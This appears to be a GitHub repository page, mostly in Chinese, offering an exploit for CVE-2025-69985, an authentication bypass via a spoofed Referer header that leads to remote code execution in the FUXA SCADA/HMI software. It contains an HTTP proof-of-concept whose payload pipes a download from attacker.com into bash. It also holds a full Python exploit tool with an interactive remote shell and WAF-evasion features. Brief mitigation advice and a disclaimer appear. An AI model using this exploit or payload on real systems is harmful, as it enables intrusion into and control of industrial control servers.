kaleth4/CVE-2025-69985
GitHub: kaleth4/CVE-2025-69985
这是一个针对 FUXA ≤1.2.8 版本的 CVE-2025-69985 漏洞的利用工具,通过 Referer 头伪造实现身份验证绕过并达到远程代码执行。
Stars: 0 | Forks: 0
# CVE-2025-69985:FUXA ≤1.2.8 身份验证绕过至 RCE 利用工具
## 📌 总体描述
此仓库包含 **概念验证(PoC)** 和关于 **CVE-2025-69985** 漏洞的详细技术文档,该漏洞影响 **FUXA**(版本 ≤1.2.8)。该漏洞允许 **未认证的攻击者** 通过应用程序中间件中的 **身份验证绕过** 在服务器上执行 **任意命令**(RCE)。
与传统的 Windows 内存溢出漏洞不同,此漏洞存在于 **中间件的逻辑缺陷** 中,由于对 `Referer` 标头的验证不正确,服务器 **将外部请求误认为内部请求**。
## 🚨 技术摘要
| **CVE** | **CVE-2025-69985** |
|-----------------------|-----------------------------------------------------------------------------------|
| **类型** | 通过备用路径绕过身份验证(CWE-288) |
| **影响** | 远程代码执行(RCE) |
| **严重程度** | **9.8 严重**(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| **受影响版本** | FUXA ≤ 1.2.8 |
| **平台** | Node.js |
| **产品** | FUXA(基于 Web 的 SCADA/HMI) |
## 🔍 攻击向量分析
### 1️⃣ **身份验证绕过(Auth Bypass)**
FUXA 中间件 **盲目信任** `Referer` 标头。如果攻击者发送带有以下内容的请求:
```
Referer: http:///
```
服务器 **假设该请求是内部请求** 并 **跳过 JWT 令牌验证**,允许访问受保护的端点 **而无需身份验证**。
### 2️⃣ **远程代码执行(RCE)**
一旦绕过身份验证,攻击者就可以与 `/api/runscript` 端点进行交互,该端点用于执行 Node.js 脚本。发送 **恶意 JSON 有效载荷** 可获得 **对服务器进程的完全控制**。
## 🛠️ 概念验证(PoC)
### 📌 利用示例(HTTP 请求)
```
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
```
## 💻 受影响系统
| **产品** | **版本** | **平台** |
|-----------|------------|------------|
| FUXA | ≤ 1.2.8 | Node.js |
## 🛡️ 缓解措施和解决方案
### ✅ **推荐解决方案**
1. **立即更新**
将 FUXA 更新到 **高于 1.2.8 的版本**(官方补丁)。
2. **手动修补**
修改 `server/api/jwt-helper.js` 以 **消除对 `Referer` 标头作为身份验证方法的信任**。
3. **部署 WAF**
配置 **Web 应用防火墙** 以阻止对 `/api/runscript` 端点的请求,这些请求不是来自 **已知管理网络**,无论 `Referer` 标头如何。
## ⚠️ 免责声明
🔴 **本材料仅用于教育和安全审计目的。**
🔴 **未经明确授权将这些技术用于系统是违法行为。**
🔴 **作者不对本信息的滥用承担任何责任。**
## 📚 参考资料
- [NVD NIST - CVE-2025-69985](https://nvd.nist.gov/vuln/detail/CVE-2025-69985)
- [FUXA GitHub 仓库](https://github.com/frangoteam/FUXA)
## 🚀 重构版"专业"利用工具(Python)
### ✨ **主要改进**
| **特性** | **描述** |
|--------------------------|-----------------------------------------------------------------------------------------------------|
| **🔹 动态 Shell 处理** | `--interactive`(`-i`)模式可打开 **交互式 REPL** 以执行多个命令。 |
| **🔹 检测和指纹识别** | 在发起攻击前验证 `/api/runscript` 端点是否存在(`check_vulnerable()`)。 |
| **🔹 改进的有效载荷** | 使用 **Base64 编码**的命令以避免字符转义问题(`&`、`>`、`"` 等)。 |
| **🔹 网络健壮性** | 支持 **随机 User-Agent** 和 **代理**(适用于 Burp Suite 或调试)。 |
| **🔹 面向对象编程(OOP)** | 模块化、可重用和可扩展的 `FuxaExploit` 类。 |
### 📌 利用工具代码(`fuxa-exploit.py`)
```
import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# 美学配置
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""Verifica si el endpoint existe antes de atacar."""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # Depende de la config del WAF/App
except Exception:
return False
def execute(self, command: str) -> str:
# Payload mejorado: Encoding en Base64 para evitar romper el JSON
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
except Exception as e:
return f"Exception: {str(e)}"
def main():
parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-c", "--cmd", help="Single command to execute")
parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = FuxaExploit(args.url, args.proxy)
Logger.info(f"Targeting: {args.url}")
if args.interactive:
Logger.success("Entering interactive mode. Type 'exit' to quit.")
while True:
try:
cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
if cmd.lower() in ['exit', 'quit']: break
if not cmd: continue
print(exploit.execute(cmd))
except KeyboardInterrupt: break
elif args.cmd:
Logger.info(f"Executing: {args.cmd}")
print(exploit.execute(args.cmd))
else:
parser.print_help()
if __name__ == "__main__":
main()
```
## 🎯 是什么让它成为"专业"工具?
| **特性** | **优势** |
|--------------------------|-------------------------------------------------------------------------------------------------|
| **🔹 面向对象编程** | 模块化:`FuxaExploit` 类可导入到其他脚本或工具中。 |
| **🔹 Base64 绕过** | 避免复杂命令中的转义问题(例如:`&`、`>`、`"` 等)。 |
| **🔹 伪 Shell(`-i`)** | 允许 **交互式调查系统** 而无需重新启动脚本。 |
| **🔹 代理支持** | 适用于使用 Burp Suite 或 mitmproxy 等工具 **调试** 利用工具。 |
| **🔹 真实感标头** | 浏览器 User-Agent 以 **避免基本 WAF 签名**。 |
标签:Authentication Bypass, CISA项目, CVE-2025-69985, CWE-288, FUXA, GNU通用公共许可证, HMI, ICS, MITM代理, Node.js, NTLM Relay, PKINIT, PoC, RCE, Referer欺骗, SCADA, SCADA/HMI, SDLC, Web安全, 中间件漏洞, 哈希传递, 工业控制系统, 工控安全, 暴力破解, 概念验证, 编程工具, 网络安全, 蓝队分析, 认证绕过, 远程代码执行, 逆向工具, 隐私保护